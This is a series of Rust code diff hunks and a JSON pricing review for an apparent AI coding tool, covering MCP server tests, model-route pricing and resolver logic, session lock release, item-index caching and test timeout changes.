set_server_enabled(&path, "linear", true).unwrap();
|
||||
let raw: serde_json::Value = serde_json::from_str(&fs::read_to_string(&path).unwrap()).unwrap();
|
||||
assert_eq!(raw["servers"]["linear"]["enabled"], serde_json::json!(true));
|
||||
assert_eq!(
|
||||
raw["servers"]["linear"]["disabled"],
|
||||
serde_json::json!(false)
|
||||
);
|
||||
assert!(load_config(&path).unwrap().servers["linear"].is_enabled());
|
||||
|
||||
set_server_enabled(&path, "linear", false).unwrap();
|
||||
let raw: serde_json::Value = serde_json::from_str(&fs::read_to_string(&path).unwrap()).unwrap();
|
||||
assert_eq!(
|
||||
raw["servers"]["linear"]["enabled"],
|
||||
serde_json::json!(false)
|
||||
);
|
||||
assert_eq!(
|
||||
raw["servers"]["linear"]["disabled"],
|
||||
serde_json::json!(true)
|
||||
);
|
||||
}
|
||||
|
||||
/// Lazy boot (#6033) leaves an unselected server with no connection, no
|
||||
/// failure and no observed capabilities. That is "never started" — its
|
||||
/// recovery is `connect`, not `reconnect`, and an OAuth-capable one is not
|
||||
/// yet known to need a login.
|
||||
#[test]
|
||||
fn never_started_server_recovers_with_connect_not_reconnect() {
|
||||
let snapshot = McpServerSnapshot {
|
||||
name: "lazy".into(),
|
||||
enabled: true,
|
||||
required: false,
|
||||
transport: "stdio".into(),
|
||||
command_or_url: "lazy-mcp".into(),
|
||||
connect_timeout: 5,
|
||||
execute_timeout: 5,
|
||||
read_timeout: 5,
|
||||
connected: false,
|
||||
error: None,
|
||||
auth_required: false,
|
||||
capability_metadata: McpServerCapabilityMetadata::NotObserved,
|
||||
tools: Vec::new(),
|
||||
resources: Vec::new(),
|
||||
prompts: Vec::new(),
|
||||
};
|
||||
assert!(!snapshot.started());
|
||||
assert_eq!(
|
||||
snapshot.recovery_kind(false),
|
||||
Some(McpRecoveryKind::Connect)
|
||||
);
|
||||
assert_eq!(snapshot.recovery_kind(true), Some(McpRecoveryKind::Connect));
|
||||
|
||||
// A server that had a live connection and lost it is a reconnect.
|
||||
let dropped = McpServerSnapshot {
|
||||
capability_metadata: McpServerCapabilityMetadata::LegacyFallback,
|
||||
..snapshot
|
||||
};
|
||||
assert!(dropped.started());
|
||||
assert_eq!(
|
||||
dropped.recovery_kind(false),
|
||||
Some(McpRecoveryKind::Reconnect)
|
||||
);
|
||||
}
|
||||
@@ -123,7 +123,7 @@ fn shipped_default_routes_have_reviewed_pricing_coverage() {
|
||||
assert_eq!(built_in_count, 51, "review changed shipped-default breadth");
|
||||
assert_eq!(
|
||||
defaults.len() - built_in_count,
|
||||
7,
|
||||
8,
|
||||
"review compatible-default breadth"
|
||||
);
|
||||
let recorded_at = Utc.with_ymd_and_hms(2026, 9, 8, 12, 0, 0).unwrap();
|
||||
|
||||
@@ -36,7 +36,7 @@
|
||||
},
|
||||
{
|
||||
"reason": "unknown_billing_basis",
|
||||
"review": "No mode/credential product is supplied. Both MiniMax dialects share a PAYG/plan endpoint that cannot prove product (route_billing.rs:253,402; pricing.rs:534); Ollama Cloud is unclassified possible spend, not local/free (pricing.rs:411). Generic Custom and six non-Baseten compatible defaults are transport descriptors without a reviewed product; production envelope refuses Unknown at cost_status.rs:239. AICraft is the sixth compatible default: dc170add3 restored its row from the closed PR #6171 with endpoint, credential env and bootstrap model only, and no billing product or pricing row was reviewed for it. Its default is claude-4.6-sonnet, which has no bundled/hand row either; that omission is recorded here on the shape of the descriptor, and a real source review of AICraft's billing basis is still owed.",
|
||||
"review": "No mode/credential product is supplied. Both MiniMax dialects share a PAYG/plan endpoint that cannot prove product (route_billing.rs:253,402; pricing.rs:534); Ollama Cloud is unclassified possible spend, not local/free (pricing.rs:411). Generic Custom and seven non-Baseten compatible defaults are transport descriptors without a reviewed product; production envelope refuses Unknown at cost_status.rs:239. AICraft is the sixth compatible default: dc170add3 restored its row from the closed PR #6171 with endpoint, credential env and bootstrap model only, and no billing product or pricing row was reviewed for it. Its default is claude-4.6-sonnet, which has no bundled/hand row either; that omission is recorded here on the shape of the descriptor, and a real source review of AICraft's billing basis is still owed. Tsubasa (#6695) is the seventh: endpoint, credential env and bootstrap model tsubasa-pro only; its public site lists prepaid-credit per-token rates, but no pricing row was reviewed or frozen for it, so it stays Unknown here too.",
|
||||
"routes": [
|
||||
["aicraft", "claude-4.6-sonnet", "https://aicraftapi.com/v1", "chat_completions", "unknown"],
|
||||
["cerebras", "llama-3.3-70b", "https://api.cerebras.ai/v1", "chat_completions", "unknown"],
|
||||
@@ -47,7 +47,8 @@
|
||||
["minimax", "MiniMax-M3", "https://api.minimax.io/v1", "chat_completions", "unknown"],
|
||||
["minimax-anthropic", "MiniMax-M3", "https://api.minimax.io/anthropic", "anthropic_messages", "unknown"],
|
||||
["ollama-cloud", "gpt-oss:120b", "https://ollama.com/v1", "chat_completions", "unknown"],
|
||||
["sensenova", "deepseek-v4-flash", "https://token.sensenova.cn/v1", "chat_completions", "unknown"]
|
||||
["sensenova", "deepseek-v4-flash", "https://token.sensenova.cn/v1", "chat_completions", "unknown"],
|
||||
["tsubasa", "tsubasa-pro", "https://api.tsubasa.sh/v1", "chat_completions", "unknown"]
|
||||
]
|
||||
},
|
||||
{
|
||||
|
||||
@@ -4233,4 +4233,76 @@ mod tests {
|
||||
"an unattested correction cannot survive the roster's omission"
|
||||
);
|
||||
}
|
||||
|
||||
/// #6705: through the production runtime resolver, a curated Zen
|
||||
/// transport row wins over a Models.dev row for the same id, a
|
||||
/// catalog-only row routes on the wire its row declares, and a deprecated
|
||||
/// catalog row stays unroutable.
|
||||
#[test]
|
||||
fn opencode_zen_runtime_resolver_keeps_curated_wire_over_models_dev_row() {
|
||||
use codewhale_config::models_dev::ModelsDevCatalog;
|
||||
use codewhale_config::route::{LogicalModelRef, RequestProtocol, RouteError, RouteRequest};
|
||||
|
||||
let _live = lock_live_snapshot();
|
||||
clear_live_snapshot();
|
||||
let raw = r#"{
|
||||
"providers": {
|
||||
"opencode": {
|
||||
"id": "opencode",
|
||||
"npm": "@ai-sdk/openai-compatible",
|
||||
"models": {
|
||||
"gpt-5.6-sol": { "id": "gpt-5.6-sol", "provider": { "npm": "@ai-sdk/anthropic" } },
|
||||
"claude-opus-9": { "id": "claude-opus-9", "provider": { "npm": "@ai-sdk/anthropic" } },
|
||||
"claude-2-retired": {
|
||||
"id": "claude-2-retired",
|
||||
"status": "deprecated",
|
||||
"provider": { "npm": "@ai-sdk/anthropic" }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}"#;
|
||||
let catalog = ModelsDevCatalog::parse_json(raw).expect("fixture parses");
|
||||
set_live_snapshot(
|
||||
CatalogSnapshot {
|
||||
offerings: codewhale_config::catalog::live_offerings_from_models_dev(&catalog, 1),
|
||||
},
|
||||
LiveSource::ModelsDev,
|
||||
);
|
||||
|
||||
let provider = ApiProvider::OpencodeZen;
|
||||
let resolver = runtime_catalog_resolver_for_identity(
|
||||
provider,
|
||||
None,
|
||||
provider.default_base_url(),
|
||||
CatalogStatus::Unknown,
|
||||
)
|
||||
.resolver;
|
||||
let resolve = |model: &str| {
|
||||
resolver.resolve(&RouteRequest {
|
||||
explicit_provider: provider.kind(),
|
||||
model_selector: Some(LogicalModelRef::from(model)),
|
||||
saved_provider_model: None,
|
||||
base_url_override: None,
|
||||
limit_overrides: Vec::new(),
|
||||
})
|
||||
};
|
||||
|
||||
let curated = resolve("gpt-5.6-sol").expect("curated Zen row resolves");
|
||||
assert_eq!(
|
||||
curated.protocol(),
|
||||
RequestProtocol::Responses,
|
||||
"the curated transport row must win over the catalog's conflicting row"
|
||||
);
|
||||
let catalog_only = resolve("claude-opus-9").expect("catalog-proven Zen row resolves");
|
||||
assert_eq!(catalog_only.protocol(), RequestProtocol::AnthropicMessages);
|
||||
match resolve("claude-2-retired") {
|
||||
Err(RouteError::UnsupportedModelProtocol { endpoint_key, .. }) => {
|
||||
assert_eq!(endpoint_key, "deprecated");
|
||||
}
|
||||
other => panic!("a deprecated Zen row must fail closed, got {other:?}"),
|
||||
}
|
||||
|
||||
clear_live_snapshot();
|
||||
}
|
||||
}
|
||||
@@ -353,6 +353,32 @@ impl ClassicSessionOwnerLock {
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for ClassicSessionOwnerLock {
|
||||
fn drop(&mut self) {
|
||||
// close() alone does not release the lock while a descriptor
|
||||
// duplicated into a child spawned between fork and exec still shares
|
||||
// this open file description; unlocking first lets a same-process
|
||||
// reopen proceed (#5735, #6698), as the relay and runtime store locks do.
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::fd::AsRawFd as _;
|
||||
// SAFETY: Drop runs only while `_file` still owns this descriptor.
|
||||
unsafe {
|
||||
libc::flock(self._file.as_raw_fd(), libc::LOCK_UN);
|
||||
}
|
||||
}
|
||||
#[cfg(windows)]
|
||||
{
|
||||
use std::os::windows::io::AsRawHandle as _;
|
||||
use windows_sys::Win32::Storage::FileSystem::UnlockFile;
|
||||
// SAFETY: Drop runs only while `_file` still owns this handle.
|
||||
unsafe {
|
||||
UnlockFile(self._file.as_raw_handle() as _, 0, 0, u32::MAX, u32::MAX);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn runtime_journal_scope_tag(target_ref: &str, session_id: &str) -> String {
|
||||
let mut hasher = Sha256::new();
|
||||
hasher.update(b"cwc-remote-control-journal.v2\0");
|
||||
@@ -8374,6 +8400,24 @@ mod tests {
|
||||
assert_ne!(first_recovery_turn, second_recovery_turn);
|
||||
}
|
||||
|
||||
/// #6698: a process spawned between fork and exec while a journal is open
|
||||
/// holds a duplicate of the lock descriptor. Dropping the journal must
|
||||
/// still release the session lock, or the next same-process reopen fails
|
||||
/// with the unfinished-account-turn error.
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn classic_session_lock_releases_while_a_duplicated_descriptor_survives() {
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
let path = root.path().join("active_classic_fixture.lock");
|
||||
let lock = ClassicSessionOwnerLock::acquire(&path).unwrap();
|
||||
let inherited = lock._file.try_clone().unwrap();
|
||||
drop(lock);
|
||||
let reopened = ClassicSessionOwnerLock::acquire(&path)
|
||||
.expect("dropping the owner releases the lock despite a surviving duplicate");
|
||||
drop(reopened);
|
||||
drop(inherited);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn classic_terminal_cursor_repairs_failed_canonical_clear_before_compaction() {
|
||||
let (mut controller, _worker_rx, _event_tx, journal_root) = wired_controller();
|
||||
|
||||
@@ -2,8 +2,8 @@ use std::collections::BTreeMap;
|
||||
|
||||
use chrono::{DateTime, Duration, Utc};
|
||||
use codewhale_config::route::{
|
||||
LimitField, LogicalModelRef, OverrideSource, ReadyRouteCandidate, RouteLimits, RouteRequest,
|
||||
RouteResolver, SourcedLimitOverride, WireModelId,
|
||||
LimitField, LogicalModelRef, OverrideSource, ReadyRouteCandidate, RouteError, RouteLimits,
|
||||
RouteRequest, RouteResolver, SourcedLimitOverride, WireModelId,
|
||||
};
|
||||
use serde::Serialize;
|
||||
|
||||
@@ -473,6 +473,7 @@ pub(crate) fn resolve_declared_model_candidate(
|
||||
None,
|
||||
&resolver,
|
||||
false,
|
||||
false,
|
||||
)
|
||||
}
|
||||
|
||||
@@ -495,9 +496,33 @@ pub(crate) fn resolve_route_candidate_with_context_metadata(
|
||||
provider_reported_context,
|
||||
&RouteResolver::new(),
|
||||
false,
|
||||
false,
|
||||
)
|
||||
}
|
||||
|
||||
/// #6705: OpenCode Zen is the one model-aware route whose protocol roster
|
||||
/// comes from the Models.dev snapshot, and only the provider-lake resolver
|
||||
/// carries that snapshot. There, an unproven Zen model may simply be newer than
|
||||
/// the loaded catalog, so name the refresh that can prove it. Anywhere else a
|
||||
/// refresh cannot change the answer and is not offered.
|
||||
fn route_error_text(
|
||||
provider: ApiProvider,
|
||||
resolver_reads_models_dev: bool,
|
||||
err: &RouteError,
|
||||
) -> String {
|
||||
let text = err.to_string();
|
||||
match err {
|
||||
RouteError::UnsupportedModelProtocol { endpoint_key, .. }
|
||||
if resolver_reads_models_dev
|
||||
&& provider == ApiProvider::OpencodeZen
|
||||
&& endpoint_key == "unproven" =>
|
||||
{
|
||||
format!("{text}, or refresh the Models.dev catalog with `codewhale models --update`")
|
||||
}
|
||||
_ => text,
|
||||
}
|
||||
}
|
||||
|
||||
fn resolve_route_candidate_with_catalog_resolver(
|
||||
provider: ApiProvider,
|
||||
model_selector: Option<&str>,
|
||||
@@ -508,6 +533,7 @@ fn resolve_route_candidate_with_catalog_resolver(
|
||||
provider_reported_context: Option<ProviderReportedKimiCodeContext>,
|
||||
resolver: &RouteResolver,
|
||||
endpoint_catalog_authoritative: bool,
|
||||
resolver_reads_models_dev: bool,
|
||||
) -> Result<RouteCandidateResolution, String> {
|
||||
let effective_base_url = base_url_override
|
||||
.as_deref()
|
||||
@@ -536,7 +562,8 @@ fn resolve_route_candidate_with_catalog_resolver(
|
||||
resolver.resolve(request)
|
||||
}
|
||||
};
|
||||
let resolved = resolve(&base_request).map_err(|err| err.to_string())?;
|
||||
let route_error = |err: RouteError| route_error_text(provider, resolver_reads_models_dev, &err);
|
||||
let resolved = resolve(&base_request).map_err(route_error)?;
|
||||
let plan = plan_limit_overrides(
|
||||
provider,
|
||||
&resolved,
|
||||
@@ -551,7 +578,7 @@ fn resolve_route_candidate_with_catalog_resolver(
|
||||
limit_overrides: plan.overrides,
|
||||
..base_request
|
||||
})
|
||||
.map_err(|err| err.to_string())?
|
||||
.map_err(route_error)?
|
||||
};
|
||||
Ok(RouteCandidateResolution {
|
||||
candidate,
|
||||
@@ -867,6 +894,7 @@ pub(crate) fn resolve_runtime_route_for_identity(
|
||||
None,
|
||||
&catalog.resolver,
|
||||
catalog.endpoint_catalog_authoritative,
|
||||
true,
|
||||
)?
|
||||
} else {
|
||||
resolve_route_candidate_with_context_metadata(
|
||||
@@ -2428,4 +2456,40 @@ mod tests {
|
||||
"http://gpu.internal.example:8000/v1"
|
||||
);
|
||||
}
|
||||
|
||||
/// #6705: only the lake-backed OpenCode Zen route reads a refreshed
|
||||
/// Models.dev catalog, so only it is told to refresh.
|
||||
#[test]
|
||||
fn catalog_refresh_remedy_is_scoped_to_the_lake_backed_zen_route() {
|
||||
let unproven = |provider: &str| RouteError::UnsupportedModelProtocol {
|
||||
provider: provider.into(),
|
||||
model: "new-model".to_string(),
|
||||
endpoint_key: "unproven".to_string(),
|
||||
};
|
||||
let remedy = "codewhale models --update";
|
||||
assert!(
|
||||
route_error_text(ApiProvider::OpencodeZen, true, &unproven("opencode-zen"))
|
||||
.contains(remedy)
|
||||
);
|
||||
// OpenCode Go's roster is compiled, and a bundled-only resolver
|
||||
// never sees the refreshed catalog.
|
||||
assert!(
|
||||
!route_error_text(ApiProvider::OpencodeGo, true, &unproven("opencode-go"))
|
||||
.contains(remedy)
|
||||
);
|
||||
assert!(
|
||||
!route_error_text(ApiProvider::OpencodeZen, false, &unproven("opencode-zen"))
|
||||
.contains(remedy)
|
||||
);
|
||||
let deprecated = RouteError::UnsupportedModelProtocol {
|
||||
provider: "opencode-zen".into(),
|
||||
model: "claude-2-retired".to_string(),
|
||||
endpoint_key: "deprecated".to_string(),
|
||||
};
|
||||
let text = route_error_text(ApiProvider::OpencodeZen, true, &deprecated);
|
||||
assert!(
|
||||
text.contains("deprecated") && !text.contains(remedy),
|
||||
"{text}"
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -1119,6 +1119,17 @@ pub async fn run_http_server(
|
||||
.context("load persistent Skill activation state for Runtime API")?;
|
||||
let sub_agent_manager = runtime_api_sub_agent_manager(&workspace, options.workers);
|
||||
let shutdown = RuntimeServerShutdown::default();
|
||||
// Opening a thread is every client's first read, and the store can only
|
||||
// answer it after one pass over the whole items directory (an item's
|
||||
// filename names the item, not its turn). Every open used to pay that pass;
|
||||
// here it is paid once, while the server is starting and nobody is waiting
|
||||
// for it. See [`RuntimeThreadStore::ensure_item_index`].
|
||||
let warm_threads = runtime_threads.clone();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
if let Err(error) = warm_threads.warm_item_index() {
|
||||
tracing::warn!(%error, "thread item index warm-up failed");
|
||||
}
|
||||
});
|
||||
let state = RuntimeApiState {
|
||||
config: Arc::new(parking_lot::RwLock::new(config.clone())),
|
||||
workspace,
|
||||
|
||||
@@ -1476,6 +1476,9 @@ fn parse_sse_frame(frame: &str) -> Result<(String, serde_json::Value)> {
|
||||
Ok((event_name, payload))
|
||||
}
|
||||
|
||||
/// Polls until the turn is terminal. `timeout` only bounds how long a stuck
|
||||
/// turn takes to fail the test, so keep it generous: a loaded shared-process
|
||||
/// `cargo test` run can take seconds to settle a mock turn (#6698).
|
||||
async fn wait_for_terminal_turn_status(
|
||||
client: &reqwest::Client,
|
||||
addr: SocketAddr,
|
||||
@@ -4382,7 +4385,7 @@ async fn events_endpoint_respects_since_seq_cursor() -> Result<()> {
|
||||
.to_string();
|
||||
|
||||
let _ =
|
||||
wait_for_terminal_turn_status(&client, addr, &thread_id, &turn_id, Duration::from_secs(2))
|
||||
wait_for_terminal_turn_status(&client, addr, &thread_id, &turn_id, Duration::from_secs(10))
|
||||
.await?;
|
||||
|
||||
let resp_a = client
|
||||
@@ -5347,7 +5350,7 @@ async fn steer_and_interrupt_endpoints_work_on_active_turn() -> Result<()> {
|
||||
assert_eq!(interrupt_resp["id"], turn_id);
|
||||
|
||||
let terminal =
|
||||
wait_for_terminal_turn_status(&client, addr, &thread_id, &turn_id, Duration::from_secs(3))
|
||||
wait_for_terminal_turn_status(&client, addr, &thread_id, &turn_id, Duration::from_secs(10))
|
||||
.await?;
|
||||
assert_eq!(terminal, "interrupted");
|
||||
|
||||
@@ -5786,7 +5789,7 @@ async fn stream_endpoint_remains_backward_compatible() -> Result<()> {
|
||||
.to_string();
|
||||
|
||||
let _ =
|
||||
wait_for_terminal_turn_status(&client, addr, &thread_id, &turn_id, Duration::from_secs(2))
|
||||
wait_for_terminal_turn_status(&client, addr, &thread_id, &turn_id, Duration::from_secs(10))
|
||||
.await?;
|
||||
|
||||
// Verify that the persisted events include the expected turn lifecycle events.
|
||||
@@ -8366,7 +8369,7 @@ async fn session_create_from_thread_rejects_active_turn() -> Result<()> {
|
||||
|
||||
let _ = finish_tx.send(());
|
||||
let terminal =
|
||||
wait_for_terminal_turn_status(&client, addr, &thread_id, &turn_id, Duration::from_secs(2))
|
||||
wait_for_terminal_turn_status(&client, addr, &thread_id, &turn_id, Duration::from_secs(10))
|
||||
.await?;
|
||||
assert_eq!(terminal, "completed");
|
||||
|
||||
@@ -10538,6 +10541,9 @@ async fn thread_summary_search_does_not_scan_the_whole_store_per_thread() -> Res
|
||||
let Some((addr, runtime_threads, handle)) = spawn_test_server().await? else {
|
||||
return Ok(());
|
||||
};
|
||||
// Settle the server's startup item-index warm-up, so the read counts below
|
||||
// measure this route and not a background pass over the directory.
|
||||
runtime_threads.warm_item_index()?;
|
||||
let client = crate::tls::reqwest_client();
|
||||
|
||||
const THREADS: usize = 8;
|
||||
@@ -10641,21 +10647,26 @@ async fn thread_summary_search_does_not_scan_the_whole_store_per_thread() -> Res
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// The default listing carries no `search`, and it must read the store once
|
||||
/// rather than once per row.
|
||||
/// The default listing carries no `search`, and it must not walk the items
|
||||
/// directory at all.
|
||||
///
|
||||
/// This route used to call `get_thread_detail` for every row, and detail is a
|
||||
/// whole-store walk: `list_turns_for_thread` scans every turn record and
|
||||
/// `list_items_for_turns_map` scans every item record, because an item's
|
||||
/// filename carries only the item id. Listing `T` threads therefore cost
|
||||
/// `T x (all_turns + all_items)` reads — seconds-per-thread, and the reason a
|
||||
/// 72-thread rail went blank. The bound asserted here is one pass per
|
||||
/// directory, so any return to a per-row detail read fails loudly.
|
||||
/// 72-thread rail went blank. The next fix made that one pass per directory,
|
||||
/// and the one after it read each row's preview out of the row's own newest
|
||||
/// turn, so no item file is read by directory walk at all. The bound asserted
|
||||
/// here is that zero, so any return to a store-wide item read fails loudly.
|
||||
#[tokio::test]
|
||||
async fn thread_summary_listing_reads_the_store_once_not_once_per_thread() -> Result<()> {
|
||||
async fn thread_summary_listing_never_walks_the_items_directory() -> Result<()> {
|
||||
let Some((addr, runtime_threads, handle)) = spawn_test_server().await? else {
|
||||
return Ok(());
|
||||
};
|
||||
// Settle the server's startup item-index warm-up, so the read counts below
|
||||
// measure this route and not a background pass over the directory.
|
||||
runtime_threads.warm_item_index()?;
|
||||
let client = crate::tls::reqwest_client();
|
||||
|
||||
const THREADS: usize = 8;
|
||||
@@ -10708,21 +10719,21 @@ async fn thread_summary_listing_reads_the_store_once_not_once_per_thread() -> Re
|
||||
);
|
||||
assert_eq!(
|
||||
turn_files, total_turns,
|
||||
"the page must scan the turns directory exactly once: read {turn_files} of \
|
||||
"the page still reads every turn record exactly once: read {turn_files} of \
|
||||
{total_turns} turn files, while reading one thread's detail per row would have \
|
||||
been {per_thread_file_reads} reads in total"
|
||||
);
|
||||
assert_eq!(
|
||||
item_files, total_items,
|
||||
"the page must scan the items directory exactly once: read {item_files} of \
|
||||
{total_items} item files, while reading one thread's detail per row would have \
|
||||
been {per_thread_file_reads} reads in total"
|
||||
item_files, 0,
|
||||
"a page must not read the items directory at all: read {item_files} item files, \
|
||||
while one pass over the directory would have been {total_items} and one detail \
|
||||
read per row {per_thread_file_reads}"
|
||||
);
|
||||
assert!(
|
||||
rows.iter().all(|row| row["preview"]
|
||||
.as_str()
|
||||
.is_some_and(|preview| preview.contains(PREVIEW_TOKEN))),
|
||||
"one pass must still fill every row's preview; got {listed}"
|
||||
"reading each row's own turn must still fill every preview; got {listed}"
|
||||
);
|
||||
assert!(
|
||||
rows.iter()
|
||||
|
||||
@@ -607,14 +607,6 @@ const RUNTIME_RESTART_REASON: &str = "Interrupted by process restart";
|
||||
const EMPTY_TURN_REASON: &str = "Turn completed without engine output";
|
||||
const DYNAMIC_TOOL_RESULT_TIMEOUT: Duration = Duration::from_secs(300);
|
||||
|
||||
#[cfg(test)]
|
||||
static TEST_APPROVAL_DECISION_TIMEOUT_MS: std::sync::atomic::AtomicU64 =
|
||||
std::sync::atomic::AtomicU64::new(0);
|
||||
|
||||
#[cfg(test)]
|
||||
static TEST_DYNAMIC_TOOL_RESULT_TIMEOUT_MS: std::sync::atomic::AtomicU64 =
|
||||
std::sync::atomic::AtomicU64::new(0);
|
||||
|
||||
impl RuntimeThreadManager {
|
||||
/// Wait for one external approval decision. The one approval clock,
|
||||
/// `[approval] timeout_seconds`, governs here as it does for the TUI
|
||||
@@ -624,13 +616,43 @@ impl RuntimeThreadManager {
|
||||
pub(crate) fn approval_decision_timeout(&self) -> Option<Duration> {
|
||||
#[cfg(test)]
|
||||
{
|
||||
let ms = TEST_APPROVAL_DECISION_TIMEOUT_MS.load(std::sync::atomic::Ordering::SeqCst);
|
||||
let ms = self
|
||||
.test_approval_decision_timeout_ms
|
||||
.load(std::sync::atomic::Ordering::SeqCst);
|
||||
if ms > 0 {
|
||||
return Some(Duration::from_millis(ms));
|
||||
}
|
||||
}
|
||||
self.read_config().approval_timeout()
|
||||
}
|
||||
|
||||
fn dynamic_tool_result_timeout(&self) -> Duration {
|
||||
#[cfg(test)]
|
||||
{
|
||||
let ms = self
|
||||
.test_dynamic_tool_result_timeout_ms
|
||||
.load(std::sync::atomic::Ordering::SeqCst);
|
||||
if ms > 0 {
|
||||
return Duration::from_millis(ms);
|
||||
}
|
||||
}
|
||||
DYNAMIC_TOOL_RESULT_TIMEOUT
|
||||
}
|
||||
|
||||
/// Test seam: shorten this manager's external approval wait. Scoped to
|
||||
/// one manager so parallel libtest cases never see another's value (#6698).
|
||||
#[cfg(test)]
|
||||
pub(crate) fn set_test_approval_decision_timeout_ms(&self, ms: u64) {
|
||||
self.test_approval_decision_timeout_ms
|
||||
.store(ms, std::sync::atomic::Ordering::SeqCst);
|
||||
}
|
||||
|
||||
/// Test seam: shorten this manager's dynamic tool result wait.
|
||||
#[cfg(test)]
|
||||
pub(crate) fn set_test_dynamic_tool_result_timeout_ms(&self, ms: u64) {
|
||||
self.test_dynamic_tool_result_timeout_ms
|
||||
.store(ms, std::sync::atomic::Ordering::SeqCst);
|
||||
}
|
||||
}
|
||||
|
||||
/// `tool_call_after` (and `on_error` for a failed call) on a Runtime API
|
||||
@@ -672,27 +694,6 @@ fn fire_runtime_tool_completion_hooks(
|
||||
}
|
||||
}
|
||||
|
||||
fn dynamic_tool_result_timeout() -> Duration {
|
||||
#[cfg(test)]
|
||||
{
|
||||
let ms = TEST_DYNAMIC_TOOL_RESULT_TIMEOUT_MS.load(std::sync::atomic::Ordering::SeqCst);
|
||||
if ms > 0 {
|
||||
return Duration::from_millis(ms);
|
||||
}
|
||||
}
|
||||
DYNAMIC_TOOL_RESULT_TIMEOUT
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
pub(crate) fn set_test_approval_decision_timeout_ms(ms: u64) -> u64 {
|
||||
TEST_APPROVAL_DECISION_TIMEOUT_MS.swap(ms, std::sync::atomic::Ordering::SeqCst)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
pub(crate) fn set_test_dynamic_tool_result_timeout_ms(ms: u64) -> u64 {
|
||||
TEST_DYNAMIC_TOOL_RESULT_TIMEOUT_MS.swap(ms, std::sync::atomic::Ordering::SeqCst)
|
||||
}
|
||||
|
||||
const fn default_runtime_schema_version() -> u32 {
|
||||
CURRENT_RUNTIME_SCHEMA_VERSION
|
||||
}
|
||||
@@ -2105,6 +2106,15 @@ pub struct RuntimeThreadStore {
|
||||
/// the queue; this guard prevents concurrent replay/wake requests from
|
||||
/// starting more than one turn for the same message.
|
||||
mail_mutation: Arc<parking_lot::Mutex<()>>,
|
||||
/// Turn id -> item ids, filled by one items-directory read and kept
|
||||
/// current by the item writers; see [`Self::item_ids_for_turns`].
|
||||
item_index: Arc<parking_lot::RwLock<ItemIndex>>,
|
||||
/// Serializes the one items-directory read that fills `item_index`. Held
|
||||
/// across the whole read, so a caller that arrives while it runs waits for
|
||||
/// its result instead of repeating it — and so an item writer can tell
|
||||
/// whether a read is running by probing it. A writer never holds it, so a
|
||||
/// running turn's write is never behind a store-wide read.
|
||||
item_index_seed: Arc<parking_lot::Mutex<()>>,
|
||||
/// Files read by whole-directory turn scans (`list_all_turns`). Shared
|
||||
/// across store clones so a `spawn_blocking` snapshot still counts against
|
||||
/// the manager the test holds. Per-store so parallel tests do not collide.
|
||||
@@ -2121,6 +2131,23 @@ struct RuntimeStoreOwner {
|
||||
owner_id: String,
|
||||
}
|
||||
|
||||
/// Every item id the store holds, grouped by turn.
|
||||
///
|
||||
/// An item's filename carries the item id and nothing else, so a reader that
|
||||
/// wants one thread's items has no way to ask the filesystem for them: the only
|
||||
/// answer is to read every item record. This makes that whole-directory read a
|
||||
/// one-time cost per store instead of a per-request one.
|
||||
#[derive(Debug, Default)]
|
||||
struct ItemIndex {
|
||||
/// `None` until the items directory has been read once.
|
||||
by_turn: Option<HashMap<String, Vec<String>>>,
|
||||
/// Item writes that landed while the directory read was running and may
|
||||
/// therefore have been missed by it. Drained into `by_turn` when it is
|
||||
/// published. Only writes that race a read are recorded; see
|
||||
/// [`RuntimeThreadStore::note_item_in_index`].
|
||||
pending: Vec<(String, String)>,
|
||||
}
|
||||
|
||||
impl RuntimeThreadStore {
|
||||
pub fn open(root: PathBuf) -> Result<Self> {
|
||||
let root = checked_runtime_store_root(root)?;
|
||||
@@ -2163,6 +2190,8 @@ impl RuntimeThreadStore {
|
||||
turn_mutation: Arc::new(parking_lot::ReentrantMutex::new(())),
|
||||
goal_mutation: Arc::new(parking_lot::Mutex::new(())),
|
||||
mail_mutation: Arc::new(parking_lot::Mutex::new(())),
|
||||
item_index: Arc::new(parking_lot::RwLock::new(ItemIndex::default())),
|
||||
item_index_seed: Arc::new(parking_lot::Mutex::new(())),
|
||||
#[cfg(test)]
|
||||
turn_dir_files_read: Arc::new(std::sync::atomic::AtomicU64::new(0)),
|
||||
#[cfg(test)]
|
||||
@@ -2187,6 +2216,15 @@ impl RuntimeThreadStore {
|
||||
/// Offline readers (`codewhale receipts`) use this so reading a thread
|
||||
/// never mutates a store a live `codewhale serve` may own. Event reads
|
||||
/// still take the shared event lock, so they see only committed records.
|
||||
///
|
||||
/// The item index this store builds (see [`Self::ensure_item_index`]) is
|
||||
/// a snapshot of one open: a store another process owns keeps writing
|
||||
/// items, and those are invisible here until the next open reads the
|
||||
/// directory again. That is the contract every caller already lives
|
||||
/// under — `codewhale receipts` opens the store once per invocation and
|
||||
/// exits — so holding an instance across foreign writes serves no
|
||||
/// caller today. If one ever does, invalidate or reopen rather than
|
||||
/// serving a stale map silently.
|
||||
pub(crate) fn open_read_only(root: PathBuf) -> Result<Option<Self>> {
|
||||
let root = checked_runtime_store_root(root)?;
|
||||
let threads_dir = root.join("threads");
|
||||
@@ -2208,6 +2246,8 @@ impl RuntimeThreadStore {
|
||||
turn_mutation: Arc::new(parking_lot::ReentrantMutex::new(())),
|
||||
goal_mutation: Arc::new(parking_lot::Mutex::new(())),
|
||||
mail_mutation: Arc::new(parking_lot::Mutex::new(())),
|
||||
item_index: Arc::new(parking_lot::RwLock::new(ItemIndex::default())),
|
||||
item_index_seed: Arc::new(parking_lot::Mutex::new(())),
|
||||
#[cfg(test)]
|
||||
turn_dir_files_read: Arc::new(std::sync::atomic::AtomicU64::new(0)),
|
||||
#[cfg(test)]
|
||||
@@ -2637,7 +2677,9 @@ impl RuntimeThreadStore {
|
||||
&item.id,
|
||||
&path,
|
||||
)
|
||||
})
|
||||
})?;
|
||||
self.note_item_in_index(&item.turn_id, &item.id);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
